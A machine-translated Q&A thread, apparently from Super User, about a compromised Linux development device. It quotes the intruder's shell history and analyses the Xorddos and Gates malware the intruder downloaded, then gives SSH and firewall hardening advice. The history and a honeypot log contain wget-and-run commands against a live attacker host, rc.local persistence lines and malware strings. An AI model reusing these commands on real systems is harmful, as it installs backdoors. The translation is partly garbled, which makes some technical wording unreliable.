Я щойно зламався?


492

Я розробляю споживчий продукт, і він повинен бути підключений до Інтернету, тому, як очікувалося, він підключений до Інтернету, щоб я міг його правильно розвивати.

Я пішов на годину-дві, і коли повернувся до свого кабінету, я помітив якісь дивні команди, написані в терміналі.

Переглядаючи файл журналу Linux під назвою, auth.logя бачу наступні рядки (серед багатьох інших):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IP-адреса, як 40.127.205.162виявляється, належить Microsoft .

Ось купа команд, які використовувались, коли я був у відсутності:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

І більше:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Я про це абсолютно не знав. Як я можу правильно закріпити свій продукт?

Я хотів би опублікувати повний auth.logфайл. Як це зробити?

Також завантажений файл yjz1, схоже, є трояном Linux, і все це, здається, робиться якоюсь хакерською групою згідно http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Чи варто зателефонувати Microsoft і поговорити з ними? Що я повинен зробити?


40
Так, це не дуже добре. Я не є експертом у Linux будь-якими способами, але щось, безумовно, намагався виконати там. Я не зовсім впевнений, наскільки це, схоже, намагалось увійти як root і не вдалося. Чи є якісь інші журнали у вашому auth.log? Будь-які інші засоби віддаленого адміністратора? Я бачив Mac з включеним сервером VNC, перш ніж це зламали, хоча це схоже на спробу SSH. Схоже, IP-адреси, з яких його завантажували, десь розміщуються в Китаї.
Jonno

68
Вас змусили жорстоко. Ось чому хтось не залишає ssh-сервер в Інтернеті, навіть якщо у вас є пароль. Нічого, що не має ключових авторів, недостатньо захищено в наші дні.
Подорожник Geek

80
Ну, у нас є security.stackexchange.com . Але перше, що спочатку: компрометованому хосту більше не можна довіряти. Зніміть його з мережі. Якщо можливо, зробіть резервну копію, щоб ви могли вивчити, що було зроблено та як це було зроблено. Далі перевстановіть ОС з чистого джерела. Відновлення даних із резервних копій. Закріпіть систему, щоб не заразитися знову. Дізнатися, як вони потрапили, настійно рекомендується. (Звідси рекомендація зробити копію зараженої системи).
Геннес

84
FYI: 40.127.205.162 - це IP-адреса Microsoft Azure відповідно до GeoIP. Отже, ви не можете звинувачувати Microsoft у нападі - це рівносильно звинувачувати Amazon у тому, що хтось використовував EC2 для спаму. Єдине, що Microsoft може насправді зробити, це вигнати зловмисників з Azure, але вони повернуться на іншу хмарну платформу за короткий час.
nneonneo

41
Насправді, якщо це було написано у вашому терміналі, хакер, ймовірно, сидить у наступній кабіні.
isanae

Відповіді:


487

EDIT 2 :

є одна вагома причина, чому ця публікація привертає стільки уваги: ​​вам вдалося записати на ПК ваш цілий сеанс зловмисника. Це дуже відрізняється від нашого повсякденного досвіду, де ми маємо справу з виявленням наслідків його дій і намагаємось їх виправити. Ось ми бачимо його на роботі, бачимо, як він має деякі проблеми із встановленням заднього куточка, повторним кроком, трескаво працює (можливо, тому, що він сидів за вашим столом, як було запропоновано вище, або, можливо, і на мою думку, скоріше, тому що він був не в змозі змусити його зловмисне програмне забезпечення працювати в системі, читайте нижче), і спробувати розгорнути повністю автономні інструменти контролю. Про це щоденно спостерігають дослідники безпеки зі своїми пастками з медом . Для мене це дуже рідкісний шанс і джерело деяких розваг.


Вас напевно зламали. Докази цього не походять з фрагмента auth.logвідображеного вами файлу, оскільки це повідомляє про невдалу спробу входу, що відбувається за короткий проміжок часу (дві секунди). Ви помітите, що другий рядок повідомляє Failed password, а третій повідомляє про pre-authвідключення: хлопець намагався і не вдався.

Докази приходять замість від змісту двох файлів http://222.186.30.209:65534/yjzі http://222.186.30.209:65534/yjz1які зловмисник завантажених на вашу систему.

Зараз сайт відкритий для кожного, хто може їх завантажити, що я і зробив. Я вперше побіг fileна них, що показало:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Потім я вивів їх на 64-бітний VM, який у мене є; експертиза їх змісту через stringsкоманду виявила багато підозрілого (посилання на різні відомі атаки, на команди, які підлягали заміні, сценарій, який явно використовувався для створення нової служби тощо).

Потім я створив хеши MD5 обох файлів і передав їх у хеш-базу даних Cymru, щоб побачити, чи вони відомі агенти шкідливих програм. Поки yjzнемає, yjz1є, і Cymru повідомляє про ймовірність виявлення антивірусною програмою 58%. Він також зазначає, що цей файл востаннє бачили десь три дні тому, тому він досить недавно.

Запуск clamscan (частина clamavпакету) на двох отриманих мною файлах:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

тому ми зараз впевнені, що стандартне програмне забезпечення для Linux може його ідентифікувати.

Що тобі слід робити?

Хоча цілком нова, жодна система не є дуже новою, див. , Наприклад , цю статтю 2015 року про XorDdos . Тож більшість безкоштовних пакетів повинні мати можливість їх видалити. Ви повинні спробувати: clamav, rkhunter, chkrootkit. Я гуляв навколо, і бачив, що вони стверджують, що можуть його помітити. Використовуйте їх для перевірки роботи попередника, але після запуску цих трьох програм ви повинні бути готові до роботи.

Що стосується більшого питання, what should you do to prevent future infectionsто відповідь Мандрівника - це хороший перший крок. Тільки майте на увазі, що це боротьба, що триває, яку ми всі (включаючи мене!), Можливо, дуже програли, навіть не підозрюючи про це.

Редагувати :

На запит Віктора Тота (непрямий) я хотів би додати кілька коментарів. Безумовно, правда, що зловмисник зіткнувся з деякими труднощами: він завантажує два різних інструменти для злому, кілька разів змінює їхні дозволи, перезапускає їх кілька разів і багато разів намагається відключити брандмауер. Неважко здогадатися, що відбувається: він очікує, що його інструменти для злому відкриють канал зв'язку у напрямку до одного із заражених ПК (див. Далі), і, коли він не бачить, щоб цей новий канал з’явився на його GUI управління, він побоюється його злому інструмент блокується брандмауером, тому він повторює процедуру встановлення. Я погоджуюся з Віктором Тотом, що цей конкретний етап його операції, здається, не приносить очікуваних плодів, але я хотів би дуже заохотити вас не занижувати ступінь шкоди, завданої вашому ПК.

Я надаю тут частковий вихід strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Це дає свідчення про фальсифікацію служб (в /etc/init.dі в /etc/rc.d), з crontab, файлом історії mysqlта парою файлів, в procяких є посилання на bash(що говорить про насадження шахрайської версії вашої оболонки на замовлення). Потім програма генерує HTTP-запит (на китайськомовний сайт,

 Accept-Language: zh-cn

що надає суть коментарю Девіда Шварца вище), що може спричинити ще більший хаос. У запиті бінарні файли ( Content-Type: application/x-www-form-urlencoded) повинні бути завантажені на атакований ПК (GET) та завантажені в контрольну машину (POST). Я не міг встановити, що буде завантажено на атакований ПК, але, враховуючи невеликий розмір обох yjzта yjz1(1,1 Мб і 600 кБ, повторно), я можу зважитися на думку про те, що більшість файлів, необхідних для маскування руткіта, тобто зміненого версії ls, netstat, ps, ifconfig, ..., буде завантажений цей шлях. І цим можна було б пояснити гарячкові спроби зловмисника розпочати цю завантаження.

Немає впевненості, що вищезазначене вичерпує всі можливості: нам, звичайно, не вистачає частини стенограми (між рядками 457 та 481), і ми не бачимо вихід із системи; крім того, особливо тривожними є лінії 495-497,

cd /tmp;  ./yd_cd/make

які посилаються на файл, який ми не бачили, і який може бути компіляцією: якщо так, то це означає, що зловмисник (нарешті?) зрозумів, у чому проблема з його виконуваними файлами, і намагається його виправити, і в цьому випадку атакований ПК пішов назавжди. [Насправді, дві версії зловмисного програмного забезпечення, які зловмисник завантажив на зламану машину (а я - на 64-бітну Debian VM), - це непридатна архітектура, x86, в той час як одне ім'я зламаного ПК дає той факт, що він займався архітектурною зброєю].

Причиною, по якій я написав цю редакцію, є закликати вас якомога наполегливіше або поєднати вашу систему з професійним інструментом, або перевстановити з нуля.

І, до речі, якщо це виявиться корисним для когось, це перелік 331 IP-адрес, до яких yjzнамагається підключитися. Цей список настільки великий (і, мабуть, судилося все-таки розширитись), що я вважаю, що це причина для фальсифікації mysql. Список, наданий іншим backdoor, є ідентичним, що, я вважаю, є причиною того, що такі важливі відомості залишаються відкритими (я думаю, зловмисник не хотів докладати зусиль для їх збереження у форматі ядра, так що він помістив весь список у чітко-текстовий файл, який, ймовірно, читається всіма його задніми куточками, залежно від ОС):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

Наступний код

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

у наведеному вище списку видно, що 302 із загальної кількості 331 адрес - у материковому Китаї, решта - у Гонконзі, Монголії, Тайвані. Це додає додаткової підтримки твердженню Девіда Шварца, що це здебільшого китайський бот-ринг.

EDIT 3

На прохання @ vaid (автор ОП, читайте його коментар нижче) я додам коментар про те, як посилити безпеку базової системи Linux (для системи, що надає багато послуг, це набагато складніша тема). vaidзаявляє, що зробив наступне:

  1. Перевстановіть систему

  2. змінив кореневий пароль на 16-символьний пароль із змішаними малими та малими літерами та символами та цифрами.

  3. Змінив ім’я користувача на 6 ім’я користувача із змішаним символом та застосував той самий пароль, що і для root

  4. змінили порт SSH на щось вище 5000

  5. вимкнено корінний логін SSH.

Це добре (за винятком випадків, коли я використовую порт понад 10 000, оскільки багато корисних програм використовують порти нижче 10 000). Але я не можу підкреслити достатньо необхідності використовувати криптографічні ключі для входу в ssh , а не паролі. Я надам вам особистий приклад. На одному з моїх VPS-файлів я був не впевнений, чи потрібно змінити порт ssh; Я залишив його в 22, але використовував криптовалюти для аутентифікації. У мене було сотні спроб на злам в день , жодна не досягла успіху. Коли, втомившись щодня перевіряти, що нікому не вдалося, я врешті переключив порт на щось вище 10 000, спроби взлому пішли на нуль. Майте на увазі, це не те, що хакери дурні (їх немає!), Вони просто полюють на легшу здобич.

Активувати криптовалюту за допомогою RSA як алгоритму підпису легко, дивіться коментар Яна Худека (спасибі!) Нижче:

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Тепер все, що вам потрібно зробити, - скопіювати файл id_rsaна машину, з якою ви хочете підключитися (в каталозі .ssh, також chmod'ed до 700), після чого видайте команду

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Коли ви впевнені, що це працює, відредагуйте на сервері (= машині, до якого ви хочете підключитися) /etc/ssh/sshd_config, і змініть рядок

#PasswordAuthentication yes

до

PasswordAuthentication no

і перезапустіть sshпослугу ( service ssh restartабо systemctl restart ssh, або щось подібне, залежно від дистрибутива).

Це витримає багато. Насправді, наразі не відомо жодних подвигів проти поточних версій openssh v2та RSA, якими користуються openssh v2.

Нарешті, для того, щоб дійсно виправити вашу машину, вам потрібно буде налаштувати брандмауер (netfilter / iptables) таким чином:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Це, 1) дозволяє з'єднання ssh як з LAN, так і з WAN, 2) дозволяє весь вхід, який був створений вашими запитами (наприклад, під час завантаження веб-сторінки), 3) скидає все інше на вході, 4) дозволяє все на вихід, і 5-6) дозволяє все в інтерфейсі петлі.

Коли ваші потреби зростають, і потрібно відкривати більше портів, ви можете зробити це, додавши вгорі списку такі правила, як:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

щоб дозволити, наприклад, людям отримати доступ до вашого веб-браузера.


11
Це було чудово читати. Я також спробував файл yjz1через Googles VirusTotal.com, який дав позитив. Я навіть не бачив, що yjzбуло завантажено. Дякую.
дійсно

34
Обережно працюйте stringsнад недовірливими даними. lcamtuf.blogspot.com/2014/10/…
Метт Нордхофф

5
@MattNordhoff Дякую за те, що я це вказав, я про це блаженно не знав. Однак на моєму Debian команда 'stringings' проходить тест, який ви пов’язали з літаючими кольорами. Я припускаю, що це пов'язано з тим, що в посібнику зазначено: -a ... Зазвичай це поведінка за замовчуванням . Ура.
MariusMatutiae

32
Ця відповідь показує підхід, який повинен бути парадигмою: 1. Не дозволяйте вашій увазі відвертати невдалі спроби, будьте оповіщені. 2. Індивідуалізуйте успішні дії нападника. 3. Вивчіть, що і як зробив нападник. 4. Встановіть все з нуля або з останньої непошкодженої (атакованої) резервної копії, додавши необхідні додаткові захисти, які ви знайшли (пункт 3). 5. Допоможіть іншим захистити себе (список порушених / підозрілих IP-адрес).
Гастур

11
[УДАЛЕНО після зауваження @MariusMatutiae] - Проте, OP повинен розуміти , що на зламану системі, кожен виконуваний файл повинен розглядатися в якості зловмисного, навіть оболонки, ls, whoабо що - небудь ще. "Врятування даних" за допомогою будь-якого виконуваного файлу на компрометованій системі (наприклад, scpабо rsync) може поставити під загрозу ще більше машин.
Дубу

142

Ласкаво просимо до Інтернету - там, де будь-який відкритий SSH-сервер, швидше за все, буде пробувати, жорстоко примушувати і матимуть різні злочини.

Для початку потрібно повністю протерти сховище на виробі. Зобразіть це, якщо ви хочете передати це для криміналістики, але встановлення на ньому Linux зараз підозрюється.

Трохи здогадок, але

  1. Ви отримали жорстокі дії або використовуєте загальний пароль. Це безпека через невідомість, але ви не хочете пароль словника або використовувати кореневий обліковий запис, відкритий для SSH. Вимкніть кореневий доступ до SSH, якщо це варіант або хоча б змінити ім’я, тому їм потрібно відгадати і те, і інше. SSHing як root - це страшна практика безпеки. Якщо вам потрібно використовувати root, увійдіть як інший користувач та використовуйте su або sudo для перемикання.

  2. Залежно від продукту, можливо, ви хочете якось заблокувати доступ до SSH. Повне блокування звучить як гарна ідея, і дозволяє користувачам відкривати його за потребою . Залежно від того, якими ресурсами ви можете зекономити, подумайте лише про те, щоб дозволити IP-адреси у вашій власній підмережі або якусь систему дроселювання входу. Якщо він вам не потрібен на кінцевому продукті, переконайтесь, що його вимкнено.

  3. Використовуйте нестандартний порт. Знову безпека через невідомість, але це означає, що зловмиснику потрібно орієнтуватися на ваш порт.

  4. Ніколи не використовуйте пароль за замовчуванням. Найкращий підхід, який я бачив, - це випадкове генерування пароля для певного пристрою та надсилання його разом із вашим продуктом. Найкраща практика - це автентифікація, заснована на ключах, але я не знаю, як би ви підійшли до цього продукту на масовому ринку.


76
5. Використовуйте auth відкритого ключа, якщо це можливо. Авторизація пароля набагато менш безпечна.
Боб

4
Так, але якщо його споживчий пристрій, це може бути не варіант. На коробці розробників це звучить як геніальна ідея. Ну, на сервері я раніше зламався; p
Journeyman Geek

2
Якщо це споживчий пристрій, то той самий випадковий пароль або ключ на всіх з них також є поганою ідеєю. Як і все, що базується на його серійному номері, його MAC або іншої інформації, яка може бути ідентифікована. (Щось, чому, здається, багато модемів / маршрутизаторів / WAP-файлів SoHO пропустили).
Геннес

2
Це споживчий пристрій. Однак переважна більшість цільових споживачів не буде достатньо освіченою, щоб знати, що таке SSH. Тож SSH можна відключити і, швидше за все, буде вимкнено.
дійсно

2
Також використовуйте fail2ban .
Шадур

34

О, ви точно були зламані. Здається, хтось зміг отримати кореневі дані та спробував завантажити троян у вашу систему. MariusMatutiae представив аналіз корисного навантаження.

Виникає два питання: а) Чи був нападник успішним? І б) що ви можете з цим зробити?

Відповідь на перше питання може бути «ні». Зауважте, як зловмисник неодноразово намагається завантажити та запустити корисну навантаження, мабуть, без успіху. Я підозрюю, що щось (SELinux, спроможність?) Стояло йому на шляху.

ТАКОЖ: Зловмисник також змінив ваш /etc/rc.d/rc.localфайл, сподіваючись, що при перезапуску системи активізується корисна навантаження. Якщо ви ще не перезапустили систему, не перезавантажуйте, поки ви не усунете ці зміни /etc/rc.d/rc.local. Якщо ви вже це перезапустили ... ну, удача.

Щодо цього ви можете зробити: Найбезпечніше, що потрібно зробити - це витерти систему та перевстановити з нуля. Але це не завжди може бути варіантом. Значно менш безпечна річ - проаналізувати, що саме сталося, і витерти всі його сліди, якщо зможете. Знову ж таки, якщо ви ще не перезапустили систему, можливо, все, що вам потрібно, це чисто /etc/rc.d/rc.local, видаліть все, що завантажило зловмисник, і останнє, але не менш важливо, змініть проклятий пароль!

Однак якщо зловмиснику вже вдалося запустити корисну навантаження, у вашій системі можуть бути інші модифікації, які можуть бути важко виявити. Ось чому повне протирання - це єдиний безпечний (і рекомендований) варіант. Як ви вказали, обладнання, про яке йдеться, може бути цільовим тестом / розробкою, тому, можливо, протирати його не так болісно, ​​як це може бути в інших випадках.

Оновлення : Незважаючи на те, що я писав про можливе відновлення, я хочу повторити дуже наполегливу рекомендацію MariusMatutiae, щоб не недооцінювати потенційний збиток, спричинений цим корисним навантаженням, і те, наскільки це може призвести до компрометації цільової системи.


2
Дякую. Я вирішив витерти систему. Я перезапустив її кілька разів, але просто скопіювавши деякі важливі дані. Без бінарних файлів, лише вихідний код. Я думаю, зараз я досить безпечний.
дійсно

Що з іншими ящиками тієї ж локальної мережі?
WGroleau

Гарне питання. Історія оболонки, яка була надана, не вказує на будь-які спроби виявити та скомпрометувати інші поля в тій самій мережі. Більш загально, якщо зловмисник отримує SSH (root) доступ до коробки, це в основному означає, що він обійшов будь-які периметричні брандмауери. Однак це автоматично не означає, що інші коробки піддаються компрометації: для цього потрібно щось інше, наприклад, незахищена вразливість, паролі, які поділяються між коробками, автоматичний вхід з одного поля в інший тощо.
Віктор Тот,

18

Мій sshd-honeypot також бачив подібний напад. Перші завантаження з цієї URL-адреси розпочалися 2016-01-29 10:25:33 і атаки все ще тривають. Напади є / були звідки

103.30.4.212
111.68.6.170
118.193.228.169

Вхід цих нападників:

сервісні iptables зупиняються
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & 1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 &
chmod u + x yjz1
./yjz1 &
cd / tmp

Тож ніяких заходів, крім встановлення бекдорда для подальшого використання.


Домовились, це та сама МО.
MariusMatutiae

1
@MariusMatutiae Тож це не ручний злом? Це якийсь черв'як / бот, що саморозповсюджується?
NickG

1
@NickG Моя найкраща здогадка - це не ручний злом. Яка ймовірність того, що Vaid працює в тому ж офісі, що і джерело роботи в Китаї? Хтось виявив експлуатовану слабкість у своїй машині, швидше за все, слабко захищений ssh-сервер, жорстоко примусив його пароль, отримав доступ, спробував встановити себе тайно. Однак я б також ставку, що зловмисник більше вільно володіє Windows, ніж з Linux. Але у мене немає важких доказів цього, лише освічена здогадка.
MariusMatutiae

12

Кожен тут запропонував ґрунтовну пораду, але для того, щоб бути зрозумілим, вашими пріоритетами має бути резервне копіювання та перевірка того, що вам справді потрібно з цієї системи, а потім протерти її новою установкою з відомих безпечних засобів масової інформації.

Перш ніж підключити щойно встановлений хост до Інтернету, виконайте такі ідеї:

  1. Створіть нового некористувального користувача та увійдіть як цей користувач. Вам ніколи не потрібно входити в систему як root, а просто sudo (замінити користувача робити), коли це потрібно.

  2. Встановіть SE Linux, налаштування конфігурації, які дозволяють обов'язковий контроль доступу: https://wiki.debian.org/SELinux/Setup

  3. Розгляньте апаратний брандмауер між вашим офісом / будинком та Інтернетом. Я використовую MicroTik, який має чудову підтримку спільноти: http://routerboard.com/ .

